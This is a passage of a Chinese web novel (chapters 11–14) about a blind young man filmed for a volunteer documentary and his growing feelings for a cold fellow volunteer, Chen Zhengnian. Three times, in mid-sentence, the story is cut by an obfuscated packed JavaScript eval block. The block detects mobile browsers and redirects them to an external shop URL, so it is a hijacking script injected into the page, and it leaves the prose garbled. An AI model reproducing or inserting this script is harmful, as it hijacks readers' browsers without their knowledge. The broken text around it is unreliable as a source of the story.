他整个人都拢进这气味里。 又见面了,好声音。 11. 关心 “陈政年你挡在门口干嘛?”季晓茜一把推开他,也没想过收着力,直接把人推得往前扑。 好在陈政年反应快,手臂一捞,把站在门前的何乐为猛然搂住,才堪堪刹车。 仿如天降巨墙,直冲门面,何乐为颧骨都要撞碎了,“哎呀妈,谁拉的我!” “抱歉。”陈政年声音淡淡的,薄荷味却浓郁了,化在鼻尖,吸入肺腑。 薄荷,何乐为特意搜索过,提神醒脑是最主要的功能之一,可是他现在为什么感觉晕乎乎的,脑袋转不过弯来。 “何乐为,站好。” “啊?”何乐为怔了一下,倏地意识到他正软塌塌地挂在陈政年身上,“哦!好。” 他站定身体,在自己家都有点不认路了,摸着瞎,撞了好些东西,语无伦次:“来、来来,大家都进来吧。” 好几个志愿者协会的会员都看得心疼,摄影师调好机子,推到何乐为跟前,显然已经进入拍摄。 陈政年看了摄影师一眼,没说话。 “乐为,我们首先要给你做一个采访,简单地了解一下情况。可能会涉及到你失明的原因,你能接受吗?” 季晓茜少有这样严肃说话的时候,他们是来做助盲宣传的,不是来揭人伤疤的。 但同样,所有人都知道,越深刻悲伤的故事,越能够激发人类潜藏的同情心。 即使他们不愿意,但也无法否认,这样的宣传很俗,却能达到最佳效果。 何乐为其实一点都不介意,他瞎了至少有十几年,曾经痛苦过,甚至没有来得及彷徨无措,就被大人们安排妥当。 “我没事的,我可以采访。”他笑着说。 季晓茜见他这样,放心下来,“那你简单地介绍一下?” 摄像机架好,有人在何乐为领口夹了个东西,沉甸甸的,领口被拉得往下坠。 他不知道是什么还好奇伸手摸了摸,滑溜溜的小方盒子,不清楚拿来干嘛用。 “这个是收音器。” “何乐为,去换件衣服。” 季晓茜和陈政年同时开口。 在场除了何乐为所有人不约而同望向他们,然后眼珠又在何乐为身上溜一圈,恍然大悟。 何乐为的衣服大概是太薄了,挂不住收音器,领口堕成一条弧线,隐隐约约能望见里头半颗淡粉色的樱桃小点。 恍然是恍然了,大家又开始震惊,陈政年什么时候这样贴心过? 不对劲,太不对劲了。 何乐为以为是衣服不好看,影响上镜,便吭哧吭哧地跑回房,一顿翻找,最后还是在一堆衣服里犯了难。 盲人的审美实在没办法和健全人对比,他只好拎了几件,拿到门外去问陈政年,“哪个比较好呀?” 四五双圆滚滚的眼睛在两人之间转悠,连何乐为也察觉出怪异,浑身上下都不舒服,就好像走在热闹的大马路上,有人喊一声“快看!有瞎子”,然后空气登时安静下来,能实质性体会到大家的注意力全落在他身上。 陈政年给他挑了件领口窄的白t恤,身上那股压力感瞬间又没了,何乐为挠挠头,迷茫地关上房门。 殊不知,视线转移回陈政年那里。 季晓茜忍不住打趣:“怎么回事啊,是社团里的学弟学妹不够可爱,得不到陈学长的关心吗?” 直到何乐为换好衣服出来,陈政年都没理她。 “好,那我们继续吧,简单地自我介绍一下你的情况。” 何乐为边点头边说“好”,大概是眼睛看不见,他一点儿也不怯场,侃侃而谈,声音绵绵的,听得很舒服。 “我叫何乐为,何乐而不为的何乐为。我的眼睛,是在我6岁那年坏的,那时候出了车祸,医生说是脑外伤引起的视觉中枢神经损伤,专业的东西我不太懂,反正就是看不见了,但是能感受一点光。” “突然看不见,你当时的第一感觉是什么?害怕吗?”季晓茜问,她希望深入地了解盲人的内心想法。 害怕么?何乐为摇摇头,他永远都忘不了醒过来那天,姑姑坐在床边,握住他的手,抽泣着告诉他要振作,起来送他父母最后一程。 “很痛苦。当时,当时,我的父母也在车上。” 何乐为沉默一会儿,季晓茜不由屏住呼吸,预感会有某些不好的结果。 “他们去世了。” 猜测得到验证,季晓茜一时说不出话来。 她不是没有问过,相反,她在出发前的那天夜晚,特意短信联系何乐为,询问协会上家里去拍摄的话,会不会影响到他的家人。 何乐为表现得很自然,只说不会,家人都不在家。 她以为是他为了拍摄让家里人回避,没想到居然是这种情况。 季晓茜狠狠剜了陈政年一眼,这种事,陈政年怎么能不事先跟大家说! 事实上,陈政年也是今天才知道的。 盲人使用“Be your eyes”通常是到了走投无路、身边找不到可以求助的人,实在没办法了,只能去依靠陌生人。 何乐为家里只有一个人的生活痕迹,陈政年是知道的,但那会儿他没有精力去细想,也没兴趣了解。 何乐为勾起个浅浅的笑,自顾自继续说:“然后我就被送到小叔叔家去了,过了应该有十年吧。” 陈政年不知道他是怎么长成今天这般模样的,经历沉重的打击过后,还能天真得像个小孩。 季晓茜不动声色收敛了情绪,继续问:“那你当初是怎么调节自己的呢?” “其实处理好父母的后事之后,我就开始接受不了自己失明的事实,有时候会想为什么上天没有把我和他们一起带走。独立生活变得很难,简单的事情我都做不好,走路也不敢一个人走,吃饭也需要别人一口一口喂。” “那后来呢?怎么变成现在这样积极乐观的?” 何乐为先是惊讶,反问说:“我积极乐观吗?” 季晓茜笑了,“我没见过比你更乐观的盲人。” “是嘛?”何乐为不好意思地笑笑,“其实,我也没那么乐观啦。那时候差一点就死了,感觉活着跟死也没有区别。” “后来有一天,我去医院检查眼睛的时候,碰上了一个女孩。” 何乐为微微扬着头,家里没有空调,他鼻尖积了一层薄薄的汗珠,无神地望着上方,像是在回忆。 那天,他坐在医院走廊上,小叔叔取了报告单,在诊室里单独跟医生说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14092598|149616||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话,不叫他听见。 他觉得很难过,想哭,也想死。 突然,跑过来一个人,声音甜甜糯糯的,是个小女孩。 她兴奋地蹿在他周围,不停问他:“我的裙子好看吗?” 何乐为顿时更想哭了,鼻头一阵酸涩,哽咽道:“好看。” 他听见女孩乐呵呵地笑,仿佛课本里描绘的“银铃般的笑声”走进现实,叮零零一串串落在耳边。 何乐为也渐渐被感染,心情平复一些。 过了一会儿,他感觉到女孩爬上椅子,坐到他边上,用世上最纯洁童真的语气问:“你看不见吗?” 很单纯的好奇,没有恶意。 何乐为应声:“嗯。” “没关系,我可以给你摸一下。” 女孩忽然抓起他的手,放在裙摆上,很柔软的触感,和以前妈妈送他的布偶小熊一样,滑滑的。 小孩儿的手也很软,稍微一摁,就能陷出小坑。 指尖在裙摆上慢慢划了一圈,只是刹那间,阳光如有实质,暖暖地打在身上。 “我没有眼睛,但是我还有手,有触觉,有嗅觉,有听觉,和味觉,这就已经是幸运了。”何乐为脸上挂着笑,眼尾也随之弯弯。 世界是黑色的,但他也可以五彩斑斓。 “那天之后,我就想通了,我要活下去呀,我还有很多东西没有摸过呢。” 话音落下,是长久的沉默以及某些志愿者发红的眼眶。 陈政年静静地注视他,那双无神却能覆上笑意的眼睛没能看出来端倪,他也许真的不在意了,释怀了。 心口好像有什么东西细细密密地撤下去,余留下一点酸,一点疼,还有闷闷的,透不过气的哽。 这是继陈政年父亲去世后,第一次尝到无法掌控情绪的滋味。 陈政年将这种感觉压住,蹙眉凝眸,沉声说:“够了,这部分结束。” 摄影师保存好录像,季晓茜回过神,让大家各自休整一下。 何乐为要给他们倒水,他们就抢着进了厨房,不让他动。 “今天你是主角,我们伺候你。”季晓茜说。 弄得何乐为怪不好意思。 大家都在忙碌,就他一个人在椅子上,总有些坐立不安,扭扭脖子、晃晃脑袋,小声喊了“陈政年”的名字。 “干什么?” 何乐为没想到会听见回应,狠狠吓了一跳。 “我就是想问什么时候开始拍下一部分啊?” “等会儿。”陈政年说。 “哦。” 又没话说了,何乐呆呆地看着前方。 之前长的脸颊肉,又消失得无影无踪。 陈政年垂眸凝视他,眼皮、鼻尖、嘴唇,视线一一划过,一只虫子忽然飞到何乐为脸上。 没作多想,陈政年几乎是瞬间就抬手,准备用指腹给抹掉。 “嗯?”何乐为眼睛眨巴两下。 陈政年的指尖还抵在他脸上,虫子已经飞走了。 “没什么,有个虫子。”陈政年说,在白皙的脸皮上再一次摸了摸,接着若无其事地收回手。 “啊?虫子?!”何乐为猛然跳起身,耳廓莫名红了。 12. 变化 季晓茜说的第二部分,是纪录盲人的日常生活,包括室内活动和外出。 往好听了说,是让大众深入了解盲人生活,说难听点,就是满足普通人的好奇心。 按道理,独居盲人的生活应该会很简单,尤其是没有工作的时候,不用看都能猜到有多无聊。 然而何乐为却不一样,他把日子过得规律而丰富,每天都有不同的计划。 “那你今天打算做什么?”季晓茜问。 何乐为像是一下被问住,挠了挠头:“我……今天不是拍摄嘛?” 拍摄就是他今天的人生大事,至于其他的,他压根儿没心思想。 季晓茜笑了,调侃一句:“这么上心啊,那我们要感谢你。” 何乐为眨巴两下眼睛:“不客气。” “不过今天,你可以放轻松些。纪录片嘛,不需要演绎和过多修饰,平时做什么,现在就做什么,没有限制。” 平时这个点……何乐为敲了敲手机,报时十点半,“那我给大家展示一下我是怎么做饭的吧。” “做饭?你居然还会做饭,真厉害!” 何乐为带他们进厨房,很熟练地捞起电饭锅内胆,“偶尔会做,自己买菜比较便宜。” “大家要一起吃吗?”他问,但又马上皱起小脸,“家里的米好像不够了。” 好些人都漏出可惜的神情,毕竟吃到盲人做的饭可不容易。 何乐为记得生鲜超市有卖,可以送货上门,于是大家又高兴了。 然而在给大家展示盲人如何网购的时候,点击下单的手指被人拦了下。 这回不需要靠气味,只是指根干燥的触感,何乐为就瞬间认出是谁。 “嗯?怎么了?”他抬起头,神情疑惑。 陈政年不说话。 还是季晓茜先看明白,耐人寻味地望着陈政年,开口说:“饭钱我们会报销。” 啊,何乐为恍然,涉及到钱,大概又让陈政年不解了。 何乐为勾一下唇,踮起脚尖,压低声音、悄悄告诉他:“对朋友要大方。”对自己可以抠门。 在等米来的途中,何乐为开始准备做菜。 “我没办法使用锅,一般都是用电磁炉和微波炉,可能会不太好吃。” “没关系,我们啥都能吃。”负责摄影的男生说。 他从刚进门就被惊艳到了,何乐为那张脸,抗镜能力简直能跟他喜欢的女明星匹敌。 他接机跟拍那么多次,接私摄没有千单也有百单,还是头一回见这么上镜的人。 肉眼看确实瘦,可上镜却刚刚好,面部线条柔和而细腻,光线好时,能清晰拍出光滑脸颊上细小的绒毛,软软地耷拉着,很乖。 让人不由自主地想要亲近和保护。 一旦何乐为笑,眉眼便会随之弯起来,太纯粹了,完全不同于寻常人拍照时习惯性的“假笑”。 他笑得那样干净,任谁见了都要为之一颤。 何乐为把青菜一窝倒进水池里,看不见也不马虎,洗得很认真,一条条搓过之后放进沥水篮子里,乱七八糟,但都很干净。 他还能分辨哪些是黄的蔫的,“像这种软塌塌的就扔掉吧。” 其实只要没有蔫得太厉害,他都是不扔的,只不过今天有客人来,总归不好让人跟自己一块儿吃苦。 何乐为的小冰箱太老旧了,制冷时会发出“嗡嗡嗡”的噪音,里面的东西也不多,仅剩的几瓶可乐拿来招呼大家,又从冷冻层里拿出一些猪肉丸子。 这玩意好煮,混着青菜,电磁炉一烧,能做成一锅汤。 家里还有一些鸡翅根,他本来想买鸡翅的,不过太贵了,吃鸡翅根味道也一样。 鸡翅根在冷冻层里放了有些时日,全粘在一块儿,加上冰,居然重得过分。 手腕直接被压得往外翻折,何乐为一下没抓住,那坨冻鸡翅根脱手滑下去,“哐当”一声砸到地上。 摄影师立马对鸡翅根进行了抓拍。 初愈的骨头根本承受不住重压,疼痛细细密密的,像有无数根针刺进骨髓,何乐为猛地咬住下唇。 这时,已经疼到举不起来的胳膊肘被人稳稳托住,还是熟悉的按压,指腹在骨头周围转了一圈,陈医工又上线检查了。 “什么时候拆的石膏?”陈政年声音冷冷的。 何乐为想了想,“上周三。 陈政年眉心收紧,沉声说:“医院没有让你戴护带?” “让了。”他答得真诚。 可惜相处下来,何乐为那德性早就被陈政年摸透了,“你没买。” 语气十分肯定。 “家里有绳子,我自己能绑。”何乐为说,其实他觉得拆掉石膏就算痊愈了,实在没必要再吊什么护带。 况且医生也说戴护带并非必要的。 “你们把这里清理一下。”陈政年吩咐,指着摄像机镜头说:“别拍了。” 他还是像之前那样,粗鲁地把何乐为拖出门,将人摁在椅子上坐下,根据对方的指引,找到了所谓的绳子。 那种农村人用来捆蛇皮袋的麻绳,稍微使点劲就断了。 陈政年莫名想笑,说不上来什么心情,又无端烦躁,居高临下地俯视何乐为那张脸,光线全被自己挡住,对方垂着眼睫,模样那般无辜。 “何乐为,你去的什么医院,三周就给你拆石膏了?”他听见自己的声音,才意识到语气原来这么不好。 何乐为说是家附近的诊所,老医生经验丰富,很多人推荐的。 一把无名火莫名烧起来,把骨子里的冷漠都烧烂了,燃成细碎的灰渣子,陈政年呼吸越发沉重。 他试图强迫自己冷静,去分析怒火的原因,可平日擅长计算数据的大脑如同过载了般,怎样都无法正常运行。 不知道过了多久,他最终只是吐出一口气,“拍摄结束后,跟我去医院。” 何乐为下意识想问为什么,但他听出来不对劲,拒绝的话堵在唇间,没有说出口。 “我的手好像不疼了,可以去做饭。” 陈政年在转眼间发作,怒道:“做什么做!” 空气一片沉寂,他们的陈学长,竟然发脾气了。 “别做了,”季晓茜走过来打圆场,关心又略带责备:“手受伤了怎么不说呢?拍摄可以延后的。” 何乐为也没想到骨折之后要休养这么久,他真以为好了,“对不起啊,给大家添麻烦了。” 陈政年忽视他的道歉,找来两块纸板,用绳子简单帮手臂固定,恢复公事公办的语调:“目前没什么大碍,具体情况要专业医生看过才清楚。” “行,还能坚持吗?”季晓茜问,陈政年这幅样子,害得大家都不敢继续。 何乐为说可以,但饭就不做了。 于是大家帮他把鸡翅根放回冰箱,买的米到了,却没有做饭的心情,最后还是一起点了外卖。 乍然又回到一只手吃饭的日子,还有些不习惯,何乐为扒拉了好一会儿,总感觉碗里的菜怎么也吃不完,越吃越多。 突然听见陈政年冷声说:“别给他夹了。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14092599|149616||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 才知道大家一直在偷偷给他夹菜。 他想知道陈政年有没有往他碗里放东西,如果有,那他一定要吃掉。 但又觉得陈政年这么说了,应该是没有的,心里不由有些沮丧。 到了下午,季晓茜让何乐为自由发挥,可以给大家介绍一下他的兴趣爱好之类的。 何乐为屁颠屁颠把他的mp3拿出来了。 “天啊,你居然有这玩意儿,小学的时候可流行了。”有志愿者惊讶道。 何乐为得意了,“这是我妈妈的,音质特别好。” 自从他眼睛坏掉,就离不开随身听了,白天还没什么,身边是形形色色的声音,到了夜里,夏天有蝉鸣和风扇的呼呼声,冬天就只剩下何鸿宇的呼噜。 他好长时间都想不通,何鸿宇那时才五岁,是怎么把呼噜打得像雷声那样响。 后来,每一个夜晚,都是mp3陪他过的。 “我很少听歌,一般都是听书。”那时候的听读模式还不完善,导出来的音频时常错乱,这一段那一段的。 何乐为经常听得一头雾水,“后来我就不听内容了。” 他调出一段音频,温柔的女声外放出来,如溪水潺潺,缓慢而清澈,她念着一首诗,细腻又温情。 “这是我最喜欢的。”何乐为说。 季晓茜笑道:“听起来是很舒服,”她看一眼陈政年,“你来评评。” 从专业角度来听,气息不稳,咬词不清,陈政年直言:“一般。” 季晓茜当场翻了个白眼。 好在何乐为脾气好,不计较:“确实一般般,这是我妈妈念的。” 陈政年一愣,脸上出现了前所未有的、短暂的慌乱。 “她是个诗人,这首诗就是她自己写的,被我爸爸偷偷录下来。” 何乐为是笑着的,眼睛木讷地直视前方,表情太坦然了,以至于跟周围的人一对比,失去双亲的反而不像是他。 手里的mp3忽然被人拿走了,妈妈的声音又从扬声器里播放出来。 正如何乐为所说,mp3的音质很好,清晰地宛如那人就在身边吟诵。 “诗写得很好,念得也好,是我刚才没认真听。”陈政年把mp3塞回他手里。 何乐为噗呲笑了一下。 陈政年不自然地蹙起眉头:“我是认真的,你妈妈很优秀。” “谢谢。”虽然妈妈在何乐为心里是最优秀的,但很显然陈政年在说客套话。 不等陈政年反应,他自己便转移话题:“早些年是喜欢用听读模式听书,后面有声书和广播剧火了,我就不怎么用它了。” 他指腹反复摩挲mp3上的摁件,上面的标识已经模糊。 “广播剧真的是一个很伟大的发明。”何乐为感叹说,因为它,书里的小人都活了。 “广播剧?那可真是巧了。”季晓茜话说得模糊,何乐为没听懂。 接着又听见她问:“你有喜欢的cv吗,说不定陈政年能给你弄个签名来,他对这个行可熟了。” “啊?真的吗?”何乐为顿时坐直身体。 陈政年不说话,季晓茜就帮他回答:“对啊,你先说说喜欢谁,说不定我也认识。” 何乐为突然低下头,笑得有些羞涩,“我喜欢的是个不出名的小社团。” “说说,不打紧。”季晓茜说。 “聆音社团的‘X'',认识吗?” 话音一落,世界都安静了,满屋子的视线同时望向陈政年,皆是不可思议的惊愕。 13. 梦遗 “聆音社团的‘X''不就是学z……” “咳咳咳。”季晓茜突然剧烈咳嗽,打断了某个社员的发言。 陈政年瞥了她一眼,回头俯视何乐为,“认识,你想要签名?” 何乐为没想到他们真的认识,嘴都张大了,从椅子上蹬起来,“你真的认识?!” “砰!”天灵盖仿佛被一柄尖锥贯穿,神魂都给撞散了。 何乐为吃痛地捂住脑袋,陈政年则难忍地捏起下巴,等何乐为缓过疼劲,回神的时候,不停伸手往前瞎摸:“对不起对不起,我听见你说认识,太激动了。” 陈政年没让他摸到,往后退了小半步,开口说话下巴还疼,跟脱臼了似的,重复问:“你想要签名?” 何乐为说签名对他来说没什么意义,“如果可以的话,可以让他帮我读一段诗吗?” 他说完,又感觉自己得寸进尺,陈政年只说认识,又不一定熟络,他不能仗着自己跟陈政年有一点小小关系,就为难人家。 “还是不了、不了!”何乐为说,他没有什么想要的,“你就帮我带一句话吧,告诉他有很多粉丝喜欢他、支持他,让他多多接剧,好好生活。别太累了,也别太闲着。” 这话惹得大家一阵哄笑,笑得最放肆的就属季晓茜,“哈哈哈哈哈,他听见肯定会很感动的。” 说完,她还扭头给陈政年做口型,夸张又欠揍:“别、太、闲、着。” 陈政年没理她,动了动下巴,确认没什么大碍,“你想让他读什么?” 只要不是过分的台词,他都可以试着满足小瞎子。 “其实也没什么。”何乐为不愿意说了,又觉得自己矫情,心思在边缘,摇摇欲坠,想要又不想要。 “没关系的,说吧。”季晓茜让他放心,“陈政年跟‘X’特别熟,熟到能穿一条裤子。” “而且我想‘X’……”季晓茜意有所指,“应该也很乐意为小粉丝做点贡献。” 何乐为接受了,他想,就一次,就麻烦一次,“那就请他帮我念汪国真的《热爱生命》吧,谢谢了。” 热爱生命,诗名起得直白,陈政年一度觉得这种诗很无聊,美其名曰安抚心灵,其实就是拿来骗小孩的鸡汤话术。 不过放在何乐为身上,就适配多了,好像没心没肺的瞎子注定要与“热爱生命”捆绑在一起,这些全部被摄像机一一纪录下来。 除去听mp3,何乐为还爱吹陶笛。 在盲校的时候,老师让大家各自选一样乐器,何乐为第一手就摸中了它。 这小玩意便宜,好学,十来块钱就能够陶冶情操,绝对值当! 可惜就是易碎,刚开始用树胶的,后来长大了,自己悄悄买了真正陶制的,吹起来完全不一样。 “我给大家来一曲吧。”何乐为笑嘻嘻地取出自己的陶笛,吹出来的曲子还挺像模像样,得到了大家的一致好评。 摄影师蠢蠢欲动,当何乐为拿出陶笛的时候,他呼吸都快了,有种突然发现感兴趣的人跟自己有着同样爱好的激动感。 但真正说是爱好,也算不上,他只是小时候学过,但是能跟何乐为学同一样乐器的事实,让他极度兴奋。 “我、我可以试试吗?” 何乐为听见声音,认出是一直跟拍的摄影师,他大方道:“可以啊,随便试。” 摄影师立刻把摄像机转交给其他人,接过何乐为手中的陶笛就要往嘴里塞。 陈政年啧了声,给他递张纸巾,“擦干净。” 忒讲究了,我们陈医工,何乐为在心中腹诽,嘴上忙说:“我不介意的。” “别人介意。”陈政年呛他。 摄影师心里大呼他也不介意啊,但面对学长极具压力的视线,还是老老实实擦干陶嘴,沉痛地给大家吹一曲。 许久没吹,加之何乐为在面前,摄影小哥紧张得不行,吹错好几个音,每错一次大家都笑。 害人更慌,手指都在颤抖,何乐为听出来音乐又飘又颤,忍俊不禁,不过还是认真地鼓励他:“你可以的,吹得很不错啦,加油!” 收到鼓舞,曲子顿时流畅许多,摄影师吹完特别期待得看着何乐为。 何乐为感觉到大家在等他的评价,于是拍起一串海豹式鼓掌:“很棒很棒。” 与隔壁面无表情的陈政年形成鲜明对比。 摄影师得到认可,很是骄傲,连带着脚步都轻飘飘的,还陶笛时不知道拌到什么东西,突然往何乐为身上扑。 完全不知情的小瞎子还笑得跟朵花似的,哪知道下一秒猛地被辣手摧花、连根拔起,然后撞进一堵开满薄荷叶的墙里。 都没来得及反应,就是“哐当”一阵,陶瓷碎得满地狼藉。 何乐为眨巴眼睛,木讷地想要挪出薄荷花墙,又被枝叶缠住,“别动,地上全是碎片。” 摄影小哥一个劲地给何乐为道歉,头都埋进地里去了,狼狈地蹲在地下收拾残局。 “我给你赔个新的。”那人说。 何乐为晃晃脑袋,“不用了,没受伤吧?” 摄影师说没有,何乐为便松口气,只要没人受伤就好,陶笛坏了就坏了吧。 然而摄影师面对何乐为的宽容更加内疚,表示无论如何也要赔偿,“我请你吃饭吧,你不答应,我晚上没法好好睡觉了。” 何乐为笑着说好,嘴唇扬起的弧度让人觉得过于尖锐了,炽热又带着不容忽视的刺眼,陈政年忽然不愿意看他。 毁灭欲铺天盖地,只希望这笑容消失,越快越好。 小瞎子当然不察,还傻乎乎地为即将交新朋友而高兴。 原来何乐为对谁都是一样的,这个认知让陈政年有一丝不快,但马上又被困惑压下去。 何乐为和谁好,跟他有什么关系? 陈政年不需要朋友,更不需要没有利用价值的朋友。 是的,就是这样。 可当今天的拍摄任务完成,送何乐为从医院回家的途中,经过乐器店,陈政年给他挑了一只陶笛。 连同那只写着“樂”字的陶杯一起拿给对方。 陈政年不再去深究原因,就这么做了,也许根本就没有理由。 回到室外拍摄部分,直接变成对何乐为就诊的真实记录,因为在医院,大家不好一块儿去,于是与主角稍微能攀上关系的陈政年成了代表。 他掌镜的技术着实算不上好,晃来晃去的,又没耐心,拍了一段就算完成。 季晓茜只能压着他在第三部分补回来。 拍摄纪录片的目的一方面是向大家展现残疾人的生活方式,另一方面是呼吁大家共同参与到助残活动中来。 那么后一个目的就需要志愿者的加入,教大家如何去帮助残疾人,以及科普一些助盲的正确方式,这也就是第三部分的拍摄重点。 本来还没定好的人选因为陈政年的玩忽职守一下有了着落,季晓茜在群里@了他五次:“就你了,出镜志愿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14092600|149616||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 者。” 何乐为还不知道自己的朋友被定为出镜者,在第三部分拍摄那日的前夕很高效地收到了陈政年发来的音频。 专业的播音腔调和准确捕捉感情的能力,在cv身上体现得淋漓尽致,“X”的业务能力还是那么强,每念一个字都拨乱何乐为的心弦。 不过听着,脑海里却好几次浮现陈政年的声音,太像了。 “X”跟陈政年的音色几乎没有差别,最大的不同大概是“X”总是感情丰盈,而陈政年的声音,像冬日里穿过枯枝的寒风。 只是简单的起伏,没有情感。 即便这样,音频缓缓播放期间,何乐为依旧不可避免地设想如果是陈政年,会怎样表述这首诗,“热爱生活”会不会变成“冷漠生活”。 想到这,他“噗呲”一乐,是陈政年能干出来的事。 很快,“陈政年”的名字就代替了脑海里的“X”,原本只是声音,后面化成薄荷味和干燥的掌心,何乐为感觉脸皮烫烫的。 不知道怎么回事,他把音频关掉,也没有好转。 这种感觉一直维持到入睡,第二天被生物钟唤醒,睁开眼发觉裤子湿湿的。 二十二岁了,又不是青春期少男,真是要人老命。 何乐为做贼那样把裤子洗了,弄出一身汗,又把衣服换掉。 因为季晓茜他们要过来,说接他去学校志愿者协会中心,在那里进行第三部分的拍摄。 何乐为说可以自己去,但他们死活就是不同意,说主角就该耍耍大牌。 结果来的人是陈政年,据说是被罚的,因为上次的工作态度。 两个人坐在车里,居然有些尴尬,今天何乐为出奇安静,话也不讲,眼神空荡荡地望向前方,双手搭在膝盖上,指甲一下下抠着盲杖。 陈政年自己有车,但不常开,也不怎么喜欢开。 他l妈给买的,考上大学的奖励,陈政年时不时就放在车库里积灰,积上几个月。 要不是季晓茜喊他接人,他都快忘了自己有车。 怕把小瞎子坐生病,头天他还特意去洗了,结果何乐为什么也没问,提也不提,跟中邪似的。 快到学校的时候,陈政年皱眉问:“今天身体不舒服?” 何乐为好久才反应过来,“没、没有啊,就是困。” 陈政年不再说什么,到达目的地没有过多前奏,立刻进入正题。 这回可就需要点演技了,何乐为被带到校内一条交叉路边,季晓茜简要跟他介绍了拍摄内容。 “其实你没有什么台词,也不用演,跟着陈政年的节奏走就好。” 主角今天原来是工具人。 何乐为了然,听见一声“action”,陈政年非常流利地背台词:“在路上遇见视障患者,不要轻举妄动。在提供帮助之前,首先要询问盲人是否需要帮助,并尊重他们的决定。” 有点意外,何乐为知道,人在面对镜头时,要背出这么一大段话,是很不容易的。 然而陈政年没有半点迟疑和卡顿,全程透露出娴熟老练、游刃有余,换做话痨何乐为都未必能讲好。 念完这段,就开始演了,他走到何乐为身边,一本正经地问:“同学,需要帮助吗?” 不知道为什么,何乐为觉得这样的陈政年很搞笑,毕竟他的帮助从来都是强制的、又或者被逼无奈的,没有这样客气的询问。 何乐为忍着笑,点点头:“需要的。” 14. 小狗 于是陈政年又开始公事公办背台词了:“在引导盲人行走时,最好让他们搭着你的肩,或者抓住你的手肘,这样可以让盲人更好地感知行走的方向、高低和速度。” 他勾起臂弯,让何乐为摸索着衣料攀上去,何乐为第一次摸到结实的肌肉,还吓了一跳。 终于不再是牵着衣角走,那么生分。 可现在的感觉又不一样了,不像在示范导盲,至于是什么心情,何乐为不太能说清。 尤其在做了一夜梦之后,有些飘渺的东西渐渐具象出来,可惜以小瞎子微薄的感情经历,根本没法懂。 只觉得指尖下手臂紧紧的,像搭在铁块上,何乐为实在好奇,怎么会有人肉硬成这样,没过脑子,手指就自动捏了捏。 确实是硬的! 跟自己的手臂完全不一样,何乐为惊愕着呢,那臂弯忽然一夹,将他整只手夹紧了,动弹不得。 何乐为疑惑地“嗯?”声,试着转动手背,死死的,像怎么也翻不了身的咸鱼。 就听见陈政年嗓音深沉:“别动。” “哦。” 臂弯间暗流涌动,两个人僵硬地往前走,又被摄影师喊着多走几个来回进行抓拍。 这是摄影师做的唯一一件让人觉得还算舒心的事,陈政年这样想,手臂上夹住的小爪子依旧不安份,勾起指尖轻轻挠人。 他有片刻分神,经过季晓茜提醒后,才想起来还有台词。 “注意不要直接牵手、更不要去碰他们的盲杖。” 接下来是何乐为的词:“手和盲杖对我们来说,是眼睛,碰了会让我们没有安全感,就像大家被蒙住眼睛那样。” 两个人一唱一和,还算顺利地把这段录完,松手之后,何乐为感觉自己蹄子全麻了,像有万千只蚂蚁在血管里爬行。 “汪!”突如其来一声犬吠,何乐为都来不及顾上蹄子,大腿就被狠狠一撞。 毛茸茸的东西顶过来,手心手背都被湿湿地舔了一番,然后又是小狗吸鼻子的“哼哼”声。 “小狗!”何乐为嘴张圆了,没想到季晓茜真的弄到只小狗过来! 上一次拍摄结束,季晓茜就跟他商量,能不能接受跟宠物狗一起拍摄,特殊的导盲犬难以申请,协会没办法提供。 但是季晓茜朋友家有一只接受过系统训练的拉布拉多犬,很聪明,绝对不会伤人。 当时可把何乐为激动坏了,他多想要一只小狗,大家说小狗好,小狗乖,毛茸茸的又可爱,他每天听着视频里的犬吠声,就心痒得不行。 季晓茜让他别高兴太早,说未必能借到,但没想事情居然成了! 何乐为欣喜若狂,两只手不停地揉摸狗头,和他们说的不一样,一点也不毛茸,相反有些扎手。 不过何乐为还是开心,他能跟小动物接触的机会太少了,以至于寻常人眼里简单的撸狗,到他这也变得稀奇。 太可爱了,他摸到一个润润的东西,不知道是什么,摸好久都没分辨出来。 旁边志愿者就笑说那是狗鼻子,还挂着鼻涕。 “啊?小狗还会流鼻涕呀?”何乐为慢慢收回手,愣在原地。 手心突然被塞进来一张纸巾,空气还弥留淡淡的薄荷味,何乐为擦了擦,跟陈政年说谢谢。 短暂的休息过后,拍摄又要继续,这次请来的拉布拉多也加入主角团,充当导盲犬。 志愿者给它穿戴好衣服和手柄,让何乐为牵着,陈政年站在身边。 “当遇见导盲犬工作的情况,请不要去干扰它。不呼唤、不抚摸、不喂食,保持尊重与距离。” 陈政年蹲下身,在镜头前做了一遍错误示范。 也许是拉布拉多感受他抚摸的动作带着几分不情愿,一下子挣脱魔爪,委屈地往何乐为怀里钻。 